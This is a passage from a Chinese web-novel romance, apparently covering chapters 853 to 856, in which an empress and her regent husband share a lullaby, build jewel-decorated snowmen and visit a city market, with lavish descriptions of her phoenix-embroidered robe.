?袍服之上,那一百只以无数珍稀金银彩线、采用绝世绣工“盘金蹙绒”织就的凤凰,在光线下仿佛陷入了沉睡,光华内敛,却依旧能窥见其羽翼的繁复与精美,凤眸上的细小红蓝宝石如同沉睡猛兽的眼,在暗处蛰伏。 ?宽大无比的喇叭袖垂落身侧,袖口边缘缀着的细密黑珍珠流苏纹丝不动。而那长达三丈、与袍服连为一体、毫无接缝的巨型墨色镶宝拖尾,则如同一条进入休眠的墨色星河,慵懒地铺陈在殿内那幅巨大的、用金丝织就九龙腾飞图案的长毛地毯之上。 其上的黑钻、墨玉与深蓝宝镶嵌,在暗处闪烁着如同星辰碎片般的微弱光芒,几乎覆盖了整个寝殿的中心区域,静默,却无时无刻不在昭示着极致的尊荣与华美。 她并未绾发,如瀑青丝尽数披散下来,流淌在墨袍的百凤图案与她的肩背之上。她的指尖轻轻拂过镜面,拂过镜中自己那被极致华服包裹、却隐约透出一丝难以言喻的静谧与…淡淡寥落的身影。 白日里,林臻被紧急政务唤走,直至夜深仍未归来。偌大的寝殿,奢华依旧,温暖依旧,却因少了一人,而显得有些过于空旷和寂静。 轻微的脚步声自殿外响起,沉稳而熟悉。 慕容嫣眼眸微动,却没有立刻转身。 林臻踏入了寝殿。他显然刚从外面回来,身上还带着一丝夜间的清寒气息,绛紫色的亲王常服外罩着一件玄色蹙金云纹披风,眉宇间带着一丝尚未完全散去的疲惫与凝思。 他的目光在踏入殿内的瞬间,便精准地捕捉到了静立于镜前的那个身影。看到她那身在柔和光线下更显沉静华贵的墨袍,以及她背影中那一丝极淡的、几乎难以察觉的孤寂,他周身的疲惫与冷意仿佛瞬间被殿内的温暖驱散,眼神顷刻间化为一片深沉的柔软。 他挥手,所有侍立的宫女无声敛衽,垂首躬身,鱼贯退下,轻轻合上殿门。 偌大的寝殿内,只剩下他们二人,以及那满殿奢华和几乎望不到尽头的墨色镶宝拖尾。 林臻解下披风随手放下,放轻脚步走到她身后。他没有立刻出声,只是透过镜面,凝视着她。他的目光掠过她墨袍上沉睡的百凤,掠过她披散如云的发丝,最终落在她映在镜中的、那双带着些许朦胧水汽的美眸。 “嫣儿,”他低声开口,声音因疲惫而略带沙哑,却异常温柔,“等久了?” 慕容嫣这才缓缓转过身来。?宽大的喇叭袖随着她的动作轻轻摆动,?那长达三丈的拖尾也在地毯上发出细微的摩挲声。她抬起眼眸望向他,摇了摇头,声音很轻:“政务很棘手么?” “无甚大事,只是繁琐,耽搁了些时辰。”林臻走上前,很自然地伸出手,指尖拂过她微凉的脸颊,“吓到我的嫣儿了?” 他敏锐地察觉到了她情绪里那丝细微的不安。 慕容微微垂下眼睫,没有否认。她早已习惯了他的陪伴,习惯了他将她置于一切事务之前。这般突如其来的漫长等待,于她而言,是极少有的体验。 她下意识地伸手,轻轻攥住了他常服的衣袖,?喇叭袖的边缘覆在他的手背上。 林臻心中顿时涌起浓浓的怜惜与歉意。 他反手握住她喇叭袖下微凉的手,将她轻轻带入怀中,下颌抵着她的发顶,低声道:“是我不好,回来晚了。” 慕容嫣靠在他温暖的怀抱里,鼻尖萦绕着他身上熟悉的、令人安心的气息,那点小小的不安与寥落这才渐渐消散。她在他怀里轻轻摇了摇头。 两人相拥片刻,林臻微微松开她,低头看着她依旧微垂的眼帘,忽然轻声问道:“嫣儿,想听曲么?” 慕容嫣微微一怔,抬眸看他,眼中带着一丝讶异。林臻并非擅长音律之人,更是极少吟唱。 林臻看着她讶异的模样,唇角勾起一抹温柔的笑意,牵起她的手,引着她走向寝殿深处那张奢华无比的龙床。那长达三丈的拖尾随之在地毯上缓缓移动。 他没有让她躺下,而是自己先坐在了床沿,然后轻轻一拉,让她侧身坐在了自己腿上。慕容嫣轻呼一声,下意识地搂住他的脖颈以防摔倒。?宽大的喇叭袖顺势滑落,露出两截雪白的手臂。 林臻稳稳地环住她的腰,让她舒适地靠在自己怀里,背倚着自己的胸膛。那沉重华贵的墨袍与三丈拖尾大部分铺展在龙床之上,如同盛开的墨色牡丹,将两人环绕。 “夫君?”慕容嫣侧过头,眼中满是不解与好奇。 林臻只是笑了笑,调整了一下姿势,让她靠得更舒服。 然后,他清了清嗓子,竟真的低声哼唱起来。 他唱的并非什么宫廷雅乐,也不是时下流行的词牌小调,而是一首调子极其简单、甚至有些古老的、带着些许江南水乡韵味的摇篮曲。 旋律舒缓,重复而单调,歌词模糊不清,似乎只有简单的“嗯嗯啊啊”的哼鸣,和他的嗓音一样,带着疲惫后的微哑,并不优美,更谈不上任何技巧。 然而,就在这简单甚至笨拙的、低低的哼唱声中,一种难以言喻的、极致温柔与安宁的氛围,缓缓地笼罩了下来。 慕容嫣起初还有些惊讶,随即,便在那低沉而富有磁性的、毫无修饰的哼鸣声中,缓缓放松了身体。她将头靠在他的肩窝,闭上眼睛,静静地听着。 他的歌声很低,很轻,仿佛只是在与她耳语。哼唱的旋律周而复始,带着一种原始的、抚慰人心的力量。 他的一只手轻轻环着她的腰,另一只手则有一下没一下地、极其轻柔地拍着她的手臂,节奏与他哼唱的旋律相合。 殿内灯火朦胧,空气中弥漫着安神的冷梅香。?华贵的墨袍在身下铺展,?百凤仿佛在歌声中安眠。 慕容嫣听着耳边那并不动听、却充满了宠溺与安抚的哼唱,感受着他胸膛传来的震动与温暖,心中最后一丝阴霾也彻底散去,只剩下满满的、几乎要溢出来的安全感与甜蜜。 她甚至无意识地,像孩提时寻求安慰般,用脸颊轻轻蹭了蹭他的颈侧。 林臻感受到了她细微的依赖动作,哼唱的声音愈发低沉温柔,拍抚的动作也更加轻缓。 不知过了多久,那简单的旋律渐渐低缓下去,最终化为无声。林臻低下头,唇瓣轻轻贴着她的额角,低声问:“好听么?” 慕容嫣依旧闭着眼,长睫轻颤,嘴角却弯起一个甜蜜的弧度,诚实又带着些许撒娇的意味:“…调子有点怪…但是…” 她顿了顿,声音更软,“…喜欢。” 林臻低笑出声,胸腔的震动传递到她身上。他收紧了手臂,将她更紧地拥在怀里:“睡吧,我的嫣儿。我在这儿。” 慕容嫣在他怀里找了个更舒适的位置,鼻尖蹭着他衣襟上好闻的气息,含糊地应了一声:“嗯…” 睡意如同温柔的潮水般袭来。在那令人安心的怀抱与残留的温柔哼唱余韵中,她很快便沉入了黑甜的梦乡。呼吸变得均匀绵长,容颜恬静,宛如婴孩。 林臻并未立刻将她放下。他就这样抱着她,静静坐了许久,目光流连于她沉睡的侧脸,流连于她身上那件即使在睡梦中依旧彰显着无上尊荣的百凤墨袍,眼中充满了无尽的珍爱与满足。 直到确认她已熟睡,他才极其小心地、尽量不惊动她的情况下,缓缓起身,将她轻柔地安置在龙床中央,为她盖好锦被。那长达三丈的墨色拖尾,被他仔细地整理好,铺展在床榻内侧。 他吹熄了大部分灯火,只留远处一盏昏暗的守夜灯,然后自己也褪去外袍,在她身边躺下,将她重新揽入怀中。 慕容嫣在睡梦中无意识地向他靠近,寻求着热源与安全感。 林臻低头,在她光洁的额头上印下一个轻柔的吻。 “晚安,我的陛下。”他低声呢喃,也阖上了眼睛。 殿外万籁俱寂,殿内温暖如春。?墨色的凤凰栖息于爱人怀中,沉入安宁的梦乡,那身华丽沉重的袍服,此刻仿佛也只是最温柔的襁褓。 第853章 堆雪人 冬末的寒意尚未完全褪去,昨夜一场突如其来的春雪,却将摄政王府的后花园染成了一片纯净无暇的琉璃世界。 亭台楼阁,玉树琼枝,皆覆着一层松软洁白的积雪,在午后明媚却并不炽烈的阳光下,闪烁着细碎的钻石般的光芒。空气清冽干净,呼出的气息化作淡淡的白雾。 暖阁的琉璃门被轻轻推开,一股微寒却清新的空气涌入温暖的室内。 慕容嫣站在门口,望着眼前银装素裹的天地,眼眸中流露出孩童般的欣喜与好奇。她身上所穿,依旧是那身玄黑色百凤墨袍,只是在这冰雪世界的映衬下,更显出一种惊心动魄的华美与神秘。 极致玄黑的底色,在雪光的反射下,呈现出一种比深夜更沉静、比墨玉更温润的质感,仿佛能将周遭所有的光线都吸纳进去,却又自内部隐隐透出幽蓝与暗紫的微光。 ?袍服之上,那一百只以无数珍稀金银彩线绣就的凤凰,在雪地的映照下,仿佛被注入了冰魄般的生命,每一片羽毛都闪烁着冷冽而璀璨的光泽,赤金灼灼,银白皎皎,紫金流转,凤眸上的宝石红如火焰,蓝如冰晶,在纯白背景的衬托下,愈发鲜活夺目,宛如百只神鸟即将破冰而出,翱翔于雪原之上。 ?宽大无比的喇叭袖袖口边缘缀着的细密黑珍珠流苏,在雪光下泛着柔和温润的光泽,与她白皙的指尖形成鲜明对比。 而那长达三丈、与袍服连为一体、毫无接缝的巨型墨色镶宝拖尾,此刻并未由宫女托举,而是被她亲自提在手中——数名宫女正跪伏在旁,极其小心地用特制的、衬着柔软天鹅绒的银钩,将那沉重无比的拖尾后半段微微提起,以免其完全拖曳于雪地之中。 但即便如此,那拖尾最前端的丈余长度,依旧如同一条墨色的河流,逶迤铺展在她身后洁净无瑕的雪地上,其上镶嵌的黑钻、墨玉与深蓝宝,在雪光下折射出冰冷而璀璨的星点光芒,在纯白的雪地上划出一道极致奢华、近乎妖异的轨迹。 她并未戴冠,如云青丝仅以一支通透的墨玉长簪松松绾起,几缕发丝垂落颊边,被寒风吹拂,更衬得她容颜绝艳,宛如冰雪中诞生的神女。 她赤足蹬着一双白狐皮为里、玄色云锦为面、鞋头缀着龙眼大东珠的暖靴,小巧玲珑。 林臻站在她身侧,穿着一身与她墨袍相得益彰的玄色银狐氅衣,墨发以银簪束起,身姿挺拔,眉眼含笑地看着她跃跃欲试的模样。 “夫君,你看!”慕容嫣伸出喇叭袖下戴着同色白狐皮手捂子的手指,指向不远处一片未被踩踏过的、平整如镜的厚厚积雪,声音里带着难得的雀跃,“像不像一整块巨大的糖霜奶糕?” 林臻顺着她指的方向看去,不由失笑:“嗯,像。那我的嫣儿是想吃,还是想玩?” 慕容嫣转眸看他,眼中闪烁着狡黠的光:“堆雪人!夫君陪我堆一个最大的!” “好。”林臻自然无有不应。 他挥手示意身后的侍从将早已备好的工具呈上——并非寻常的铲子簸箕,而是两把白玉为柄、镶嵌着各色宝石、专门用来塑雪的小巧金铲,以及一个铺着厚厚绒垫的鎏金提篮,里面放着用来做雪人五官的各色宝石、一枚硕大的红宝石作为顶戴、甚至还有一件织金绣银的微型斗篷。 慕容嫣兴致勃勃地接过那柄华美得过分的金铲,却有些不知从何下手。 她自幼长于深宫,何曾亲手堆过雪人? 她试探性地用铲尖碰了碰积雪,冰冷的触感让她微微缩了缩手。 林臻见状,低笑一声,走到她身后,大手覆上她戴着皮手捂子的手,引导着她:“来,先拢起一堆,压实…” 他的胸膛贴着她的后背,温热的呼吸拂过她的耳廓。慕容嫣微微红了脸,却乖乖地由他引导着,笨拙却又新奇地将白雪拢到一起。 那长达三丈的拖尾随着她的动作,在雪地上缓缓移动,墨色锦缎与洁白冰雪交织,形成强烈而炫目的视觉冲击。 很快,一个胖墩墩的雪堆初具雏形。慕容嫣玩心大起,忘了冷,开始用手去拍实雪堆,?喇叭袖滑落,露出小半截莹白的小臂,在雪光下几乎透明。 林臻并未阻止,只是细心地将她拖尾边缘可能沾湿的部分更提高一些。 雪人的身体渐渐成型,需要堆砌头部。慕容嫣踮起脚,有些够不着。林臻便直接将她拦腰抱起,让她坐在自己的臂弯里。 慕容嫣轻呼一声,随即笑了起来,?宽大的喇叭袖拂过他的脸颊,就着他的高度,小心地将雪球放上去压实。 “眼睛…用黑曜石…”她指挥着,从提篮里挑选宝石。林臻依言,亲手将两颗滚圆的黑曜石嵌入雪中。她又挑了两片狭长的墨玉作为眉毛,一枚尖尖的黄晶作为鼻子。 最后,是那顶小红宝石帽子和微型斗篷。慕容嫣亲自为雪人戴上披好,退后两步,看着那个顶着红宝石帽子、披着织金斗篷、五官贵气逼人、却莫名有些滑稽的雪人,忍不住噗嗤一声笑了出来。 “夫君,它…它好像穿着朝服去逛庙会的御史大夫!”她笑得花枝乱颤,?墨袍上的百凤随之振动,?三丈拖尾在雪地上轻轻晃动。 林臻看着她开怀的笑容,眼中满是宠溺:“嗯,是有点像。”他走上前,很自然地将她喇叭袖下微凉的手握住,纳入自己温暖的掌心,又低头呵着热气为她取暖,“冷不冷?” 慕容嫣摇摇头,脸颊因运动和新奇而泛着健康的红晕,眼眸亮如星辰:“不冷,好玩。” 她顿了顿,看着那个华丽的雪人,又看看自己身上同样华丽的墨袍,忽然小声说:“就是…好像把它打扮得…太隆重了些。” “无妨,”林臻低头,用额头抵着她的额头,笑道,“配得上我的嫣儿亲手堆砌,它便值得这份隆重。” 慕容嫣心中甜暖,正想说什么,忽然感觉鼻尖一凉。她讶然抬头,却发现不知何时,天空竟又飘起了细碎的雪花,如同揉碎的琼玉,纷纷扬扬,洒落在他们的发间、肩头,也洒落在那个刚刚堆好的、华贵的雪人身上。 “又下雪了…”她伸出喇叭袖下的手,接住几片雪花,看着它们在指尖迅速融化。 林臻解下自己的银狐氅衣,披在她肩上,将她整个人裹住,然后打横抱起:“雪大了,我们回去。在暖阁里,一样看雪景。” 慕容嫣轻呼一声,搂住他的脖颈,任由他抱着。那长达三丈的墨色拖尾再次被拖曳移动,在身后新落的雪花上,划出最后一道华丽而慵懒的痕迹,如同凤凰掠过长空留下的墨羽。 回到温暖如春的暖阁,宫女们立刻上前,为她解下氅衣,用温热的软巾小心翼翼拂去墨袍上沾染的零星雪沫,尤其是那拖尾部分,更是被极其轻柔地擦拭打理,确保其华美无损。 林臻亲自端来一盏热气腾腾的姜枣茶,喂她喝下驱寒。 慕容嫣靠在他怀里,捧着温热的茶盏,看着窗外越下越大的雪,将那个戴着红宝石帽子的雪人渐渐覆盖,嘴角却始终带着甜蜜的笑意。 “夫君,”她忽然轻声说,“等下我们还堆雪人,好不好?” “好。”林臻低头,吻了吻她带着枣茶甜香的发顶。 窗外冰雪漫天,窗内温暖如春。?墨色的凤凰栖息于爱人的怀抱,心满意足。 第854章 堆一个像夫君一样的雪人 细碎的春雪如同揉碎的琼玉,纷纷扬扬,无声地洒落,将方才堆好的那个顶着红宝石帽子、披着织金斗篷的雪人渐渐覆盖上一层晶莹的新雪,在阳光下闪烁着更加剔透的光芒。 慕容嫣被林臻打横抱起,正要返回暖阁,却忽然轻轻拉了拉他的衣襟。 “夫君,等等。”她声音软糯,带着一丝未尽兴的留恋。 林臻停下脚步,低头看她:“怎么了?嫣儿还想玩?” 他语气纵容,丝毫不介意这微寒的天气。 慕容嫣从他臂弯里探出头,望向那个在雪幕中显得有些朦胧的华贵雪人,眼眸亮晶晶的:“我们再堆一个小的,好不好?就堆一个…小小的,陪着他。” 她指了指那个“御史大夫”雪人, “他一个人站在这里,瞧着怪孤单的。” 林臻闻言,眼底笑意更深。他的嫣儿,总是这般心软又充满奇思妙想。 “好,” 他毫不犹豫地应下,小心地将她放回铺着厚厚积雪的地面,却依旧揽着她的腰,让她靠着自己站稳, “堆一个小的。堆个什么样的?” 慕容嫣站稳后,兴奋地环顾四周,目光最终落回林臻俊朗的面上,唇角弯起一个狡黠的弧度:“堆一个…像夫君的小雪人!” 林臻挑眉,倒是没想到她会提出这个主意,不由失笑:“像我的雪人?” “嗯!”慕容嫣用力点头,?喇叭袖下的手重新戴好白狐皮手捂子,跃跃欲试,“要堆一个板着脸、皱着眉头、好像在批奏章的小夫君!” 她说着,自己先忍不住咯咯笑了起来,?墨袍上沉睡的百凤仿佛也随之轻轻颤动。 “好啊,竟敢打趣为夫。”林臻故作严肃,眼底却满是宠溺,伸手轻轻捏了捏她泛着红晕的冰凉脸颊,“那为夫也得堆一个像嫣儿的,爱数铜钱、撒娇耍赖的小雪人才行。” “我才没有耍赖!”慕容嫣娇嗔地跺了跺脚,暖靴陷入松软的雪中,溅起细小的雪沫。 那长达三丈的墨色拖尾因着她的动作,在雪地上又拖曳出一小段华丽的痕迹。 “好,没有没有。”林臻从善如流地哄着,接过宫女再次递上的宝石金铲,却并未自己动手,而是依旧站在慕容嫣身后,大手覆着她的手,引导着她,“来,我的‘小夫君’该从哪里堆起?” 慕容嫣就着他的怀抱和引导,开始认真地拢雪。这次堆小的,她似乎更有章法了些,虽然动作依旧生疏,却充满了兴致。 林臻几乎是将她整个人圈在怀里,下巴轻抵她的发顶,呼吸间全是她发间清冷的香气和冰雪的清新。 “身子要圆一些…夫君虽然看着瘦,但是抱起来很结实…”她一边堆,一边小声嘀咕,完全没意识到自己的话语多么引人遐思。 林臻在她头顶发出低沉的轻笑,胸膛震动,环着她的手臂微微收紧:“哦?嫣儿倒是清楚。” 慕容嫣后知后觉地意识到自己说了什么,耳根瞬间红透,好在有发丝遮掩。她强装镇定,?喇叭袖下的手肘轻轻往后顶了他一下:“…专心堆雪人!” 很快,一个胖墩墩的小雪人身体成型了。慕容嫣又开始认真地拍打塑形,?喇叭袖再次滑落,露出小半截莹白的手臂,在雪光下格外显眼。 林臻看得微微蹙眉,小心地将她的袖子拉好:“仔细冻着。” “不冷嘛。”慕容嫣嘴上说着,却乖乖让他整理袖子。头部更好堆砌,一个小巧的雪球很快放了上去。 接下来是最重要的环节——装饰。慕容嫣从提篮里认真地挑选“五官”。她选了两片小小的、深色的玛瑙作为紧蹙的眉头,一枚细长的黑曜石作为紧抿的嘴唇,看起来果然十分“严肃”。 最后,她拿起一小块金箔,仔细地贴在雪人胸前,模仿林臻常服上的蟠龙纹样。 “完成!”她退后一步,满意地看着自己的作品——一个皱着眉、抿着嘴、胸前贴着金箔、一副“忧国忧民”模样的小雪人,虽然简陋,却神韵滑稽又可爱。 “像不像?”她仰起脸,看向林臻,眼中满是求表扬的期待光芒,脸颊冻得红扑扑的,呵出的气息变成白雾,氤氲了她绝美的容颜。 林臻看着那个小雪人,又看看怀中人儿娇俏的模样,心软得一塌糊涂。他低头,吻了吻她冰凉的鼻尖,声音低沉而温柔:“像。把我眉宇间的英气都堆出来了,嫣儿手艺真好。” 慕容嫣明知他在哄自己,还是开心地笑了起来。 “现在,轮到为夫了。”林臻将她微微转过身,自己则从提篮里另取了一把金铲,开始迅速而熟练地拢雪。他动作远比慕容嫣利落,很快另一个更小巧圆润的雪人身体便出现了。 慕容嫣好奇地在旁边看着,只见林臻堆雪人头部时,特意堆得圆圆的,然后,他挑选了两颗最圆润饱满的珍珠作为眼睛,一枚小小的粉色碧玺作为微嘟的嘴唇,看起来果然一副“娇气”的模样。 最后,他解下慕容嫣墨袍上缀着的一枚极小的小金凤佩饰(通常是用于固定内衬衣襟的),小心地插在雪人发髻的位置,又拿起那件微型织金斗篷,为她披上。 “这是谁?”他堆好后,指着那个珠圆玉润、头戴小金凤、身披斗篷的小雪人,笑问慕容嫣。 慕容嫣看着那个明显是女娃娃模样、被打扮得同样贵气又娇气的小雪人,脸颊更红,心里却甜得冒泡,故意扭开头:“不像!我哪有这么爱噘嘴!” “嗯,是不像,”林臻从身后抱住她,笑着附和她,“我的嫣儿笑起来比这好看千万倍。”他指着两个并排而立、一大一小、一“严肃”一“娇气”的小雪人, “你看,它们陪着那个大的,就不孤单了。” 慕容嫣看着那三个雪人——披着织金斗篷的“御史大夫”,皱着眉的“小夫君”,和噘着嘴的“小嫣儿”,在纷飞的雪花中依偎在一起,画面既滑稽又温馨。 她忍不住弯下腰,笑得花枝乱颤,?宽大的喇叭袖垂落,几乎要扫到雪人,?那长达三丈的拖尾也在雪地上轻轻晃动。 林臻忙扶住她,免得她笑倒在地上。 笑了好一会儿,慕容嫣才直起身,眼角都笑出了泪花。她忽然想起什么,从喇叭袖的暗袋里摸出那串几乎从不离身的、用红绳穿起的特制铜币,小心翼翼地取下两枚。 然后蹲下身,在周围侍从惊讶的目光中,将一枚铜币塞进了“小夫君”雪人紧抿的黑曜石嘴唇下,另一枚塞进了“小嫣儿”雪人微嘟的碧玺嘴唇下。 “好了,”她站起身,拍拍手,得意地看着林臻,“这样他们也有钱数了,就不会吵架了。” 林臻看着她这孩子气的举动,心中爱极,忍不住大笑出声,一把将她拉回怀里紧紧抱住:“我的嫣儿…怎么这么可爱…” 慕容嫣窝在他温暖的怀里,看着那三个戴着“家当”的雪人,嘴角的笑容怎么也止不住。 雪渐渐大了些,林臻这才不容置疑地将她再次抱起,稳步走向暖阁。慕容嫣这次没有反对,乖乖搂着他的脖子,最后看了一眼雪地中那三个特殊的“一家三口”。 回到暖阁,宫人们再次上前悉心打理她华贵的墨袍,尤其是那拖尾,被极其小心地处理,确保冰雪融化后的水汽不会损伤那些珍贵的丝线与宝石。 喝着林臻亲手喂到唇边的姜枣茶,慕容嫣望着窗外越下越大的雪,忽然轻声说:“夫君,等雪停了,太阳出来,它们就会化了。” “化了便化了,”林臻用指腹擦去她唇边一点水渍,语气温柔而笃定,“明年冬天,我再陪嫣儿堆。堆一整院子的雪人,都听嫣儿指挥。” 慕容嫣想象了一下那画面,忍不住又笑了。她靠进他怀里,安心地点点头:“嗯。” 窗外,冰雪覆盖了整个世界,也温柔地覆盖了那三个短暂存在的、华贵的雪人。窗内,?墨色的凤凰栖息于爱人温暖的怀抱,心中充盈着无需言说的幸福与满足。 第855章 杂耍 时值暮春,京城褪去了最后一丝寒意,阳光和煦,熏风拂面。摄政王府那终日紧闭的鎏金嵌宝正门,今日却缓缓洞开,并非为了迎接贵宾,而是为了一次极其特殊的出行。 一辆外观看似朴素、实则内里极尽奢华的玄黑色四轮马车,在一队便装精锐侍卫的护卫下,悄无声息地驶出了王府,汇入京城熙攘的人流。马车并未悬挂皇家徽记,但其非凡的用料与沉稳气派,依旧引来了不少好奇的目光。 车厢内,铺着厚软如云的雪狐皮垫,角落固定着利用最新弹簧与减震技术的装置,确保行驶平稳无声。 慕容嫣端坐其中,身上所穿,依旧是那身玄黑色百凤墨袍。只是此番出行,并未佩戴沉重凤冠,如云青丝以一支通体剔透的墨玉长簪松松绾就,余下长发披散,更添几分慵懒风情。 极致玄黑的底色,在透过水晶玻璃车窗的明媚春光下,呈现出一种深邃如古潭的质感,吸吮着光线,却又自内部折射出幽蓝与暗紫的微光,神秘而高贵。 ?袍服之上,那一百只以无数珍稀金银彩线、采用绝世绣工“盘金蹙绒”织就的凤凰,在充足的光线下,仿佛彻底苏醒,每一片羽毛都闪烁着鲜活夺目的光彩,赤金灼灼,玫金流转,银白皎洁,紫金贵气。 凤眸上的细小红蓝宝石折射出璀璨如星辰的光芒,百凤姿态各异,或翱翔或栖枝,几乎要破衣而出,直上九霄。 ?宽大无比的喇叭袖铺陈在雪狐皮垫上,袖口边缘缀着的细密黑珍珠流苏,随着马车的轻微晃动而轻轻碰撞,声如碎玉。 而那长达三丈、与袍服连为一体、毫无接缝的巨型墨色镶宝拖尾,则占据了车厢内大半的地面,如同一条进入休眠的墨色巨龙,其上镶嵌的黑钻、墨玉与深蓝宝,在光线下闪烁着冰冷而璀璨的星点光芒,极致的奢华在这方寸空间内流淌。 林臻坐在她身侧,穿着一身与她墨袍相得益彰的深青色缂丝常服,气质清贵,目光却始终流连于身旁人儿身上,唇角含着一丝温和的笑意。 “夫君,我们这是要去哪儿?”慕容嫣微微侧头,?喇叭袖下的手轻轻搭在窗沿,好奇地望着窗外飞速掠过的街景。她极少离开王府,更鲜少这般近距离地接触市井烟火。 “去西市,”林臻自然地握住她喇叭袖下的手,指尖摩挲着她细腻的手背,“今日有番邦新来的杂戏班子,还有不少新奇玩意,带你去瞧瞧热闹。” 慕容嫣眼睛顿时亮了起来,如同被点亮星辰:“杂戏?是吐火吞剑的那种吗?” 她只在画本里见过描述。 “或许有,”林臻笑道,喜欢看她这般充满好奇的模样,“还有会说话的鹦鹉,能歌善舞的胡姬,色彩斑斓的琉璃器,香气奇特的香料…嫣儿想看什么,我们就看什么。” 慕容嫣兴奋地点头,?墨袍上的百凤也随之微微颤动。 她几乎将脸贴在了水晶车窗上,看着外面车水马龙、人声鼎沸的景象,小贩的叫卖声、孩童的嬉笑声、马蹄声、车轮声…各种声音交织在一起,充满了鲜活的生命力,与她平日所处的静谧华贵的王府截然不同。 马车最终在西市入口附近一条相对清净的巷口停下。侍卫早已提前清场,看似寻常的百姓中,实则混杂着无数精锐暗卫。 林臻先下车,然后转身,极其小心地伸出手。慕容嫣扶着他的手,仪态万方地缓步下车。当她双足踏上京城西市的青石板路面时—— 周遭仿佛瞬间被施了静默咒语。 所有原本喧嚣的声音戛然而止。无论是叫卖的小贩、行走的路人、嬉戏的孩童…所有人都如同被定格一般,目瞪口呆地望向巷口出现的那个身影。 那是怎样的一种景象? 一位容颜绝世、气质尊贵无法用言语形容的女子,身着一条他们从未想象过的、华美沉重到超越认知的玄黑色凤袍。 ?墨色的袍服在春日阳光下流淌着幽暗的光泽,其上密密麻麻、栩栩如生、仿佛随时会飞出的金色凤凰刺瞎了他们的眼。?宽大无比的喇叭袖袖口珍珠流苏轻晃。 而最令人窒息的是她身后那长得一眼望不到尽头、铺满了整条巷口路面、其上镶嵌的宝石在阳光下闪烁着刺目光芒的墨色拖尾?! 那拖尾是如此之长,如此之华丽,以至于需要八名身着玄衣、面容肃穆的侍女跪伏于地,极其小心地用衬着柔软丝绸的金钩微微提起末端,才能避免其完全拖曳于尘土之中。 但即便如此,那拖尾最前端的丈余长度,依旧如同一条拥有生命的墨色河流,逶迤铺展在青石板上,其上的华美与尊贵,与周遭略显杂乱市井的环境形成了剧烈到近乎荒谬的视觉冲击! 不知是谁先反应过来,颤抖着喊了一声:“是…是女帝陛下!还有摄政王!” 人群如同被投入滚油的冰块,瞬间炸开,继而慌忙不迭地跪伏下去,磕头如捣蒜,山呼万岁之声此起彼伏,许多人甚至不敢抬头直视那过于耀眼的尊荣。 慕容嫣被这突如其来的阵仗惊得微微一怔,下意识地往林臻身边靠了靠。她早已习惯臣民的跪拜,但那是在庄严肃穆的金銮殿上,而非这般烟火气十足的市井之间。 这种赤裸裸的、混杂着极致敬畏、震撼、恐惧与好奇的目光,让她有些不适。 林臻敏锐地察觉到了她的细微紧张,手臂微微用力,揽住她的腰肢,将她护在自己身侧,同时目光淡淡扫过周遭,声音平稳却带着不容置疑的威严:“平身。陛下与本王今日只是随意走走,不必拘礼,各忙各的便是。” 他的话语仿佛带着魔力,瞬间安抚了躁动的人群。百姓们战战兢兢地起身,却依旧不敢靠近,只敢远远地、敬畏地偷瞄着那传说中的人物与她身上那件神话般的衣袍。 “怕了?”林臻低头,在慕容嫣耳边轻声问,语气带着安抚。 慕容嫣深吸一口气,摇了摇头,靠他更紧了些,?喇叭袖下的手紧紧抓着他的衣襟:“…没有。只是…他们好像很怕我?” 她更习惯的是朝臣的敬畏,而非平民这种带着纯粹震撼的恐惧。 “不是怕你,是敬你,爱你。”林臻柔声纠正,揽着她缓缓向前走去,“他们只是从未如此近距离地见过他们的女帝陛下,更没见过…这般好看的陛下。” 慕容嫣被他逗得微微脸红,嗔了他一眼,心情却放松了许多。她开始努力忽略那些目光,将注意力投向街道两旁琳琅满目的摊位。 林臻耐心地陪着她,一一为她讲解那些她从未见过的小吃、玩意、来自异域的香料和织物。 慕容嫣听得津津有味,看到新奇的东西,便会好奇地指着询问,?喇叭袖随着她的动作轻轻晃动。 走到一个卖糖画的摊子前,慕容嫣被老人娴熟勾勒出的飞凤糖画吸引,停下了脚步。林臻会意,立刻让侍卫买下那支最大的、晶莹剔透的金色凤凰糖画。 慕容嫣接过糖画,看着阳光下剔透的凤凰,又低头看看自己墨袍上绣着的金凤,忍不住抿唇一笑。 她小心翼翼地伸出舌尖,舔了一下糖凤的翅膀,甜蜜的滋味在口中化开,让她满足地眯起了眼。 “甜吗?”林臻笑问。 “甜!”慕容嫣用力点头,将糖画举到他唇边,“夫君也尝尝?” 林臻就着她的手,在那糖凤的尾羽上轻轻咬了一小口,点头:“嗯,很甜。”他的目光却始终落在她因尝到甜味而愈发娇艳的唇瓣上。 两人共吃一支糖画的亲密景象,再次让周遭偷偷围观的百姓看直了眼,心中对那位传说中冷酷铁血的摄政王的认知彻底颠覆。 第856章 嘴里能喷火 又逛了一会儿,慕容嫣有些累了,那身华服毕竟沉重。林臻便将她带到一处早已清空并布置好的临街茶楼二楼雅座歇息。 坐在窗边,慕容嫣一边小口喝着林臻递来的香茗,一边望着楼下熙攘的人群,忽然轻声说:“夫君,他们…好像过得很好。” 她看到百姓们脸上大多带着满足的笑容,孩童奔跑嬉戏,市井充满生机。 “嗯,”林臻站在她身后,双手扶着她的肩,目光也望向窗外,“因为嫣儿治国有方,天下太平,他们才能安居乐业。” 慕容嫣脸微微一红,小声道:“是夫君治国有方…”她心里清楚,这盛世繁华,几乎全是林臻一手缔造。 “是你我夫妻一体,共治江山。”林臻低头,吻了吻她的发顶。 歇息片刻后,林臻怕她劳累,便提议回府。慕容嫣虽有些不舍,但还是乖巧点头。 下楼时,她那长达三丈的墨色拖尾再次成为全场焦点,在侍女的小心呵护下,如同移动的华丽河流,缓缓滑过木制楼梯。 登上马车前,慕容嫣忽然回头,望了一眼这片充满生机的市井,然后对身边的总管轻声吩咐:“赏。” 总管立刻躬身领命,随即,大量的银钱与绢帛被分发给西市的商户与百姓,引来一片欢腾与更为真挚的感恩叩谢。 马车缓缓启动,驶离了喧嚣的西市。车厢内,慕容嫣靠在林臻肩头,把玩着那支没吃完的凤凰糖画,嘴角带着一丝满足的微笑。 “开心吗?”林臻揽着她,低声问。 “开心,”慕容嫣点头,仰脸看他,眼中光彩流转,“比在宫里数钱还好玩。” 她顿了顿,小声补充,“就是…这衣裳好像太显眼了些…” 林臻闻言大笑,忍不住低头在她唇上轻啄了一下,尝到了那残留的糖画甜味:“我的嫣儿,合该如此显眼。要让全天下都知道,他们的女帝陛下,是何等风华绝代。” 慕容嫣羞赧地埋进他怀里,心中却甜如蜜糖。 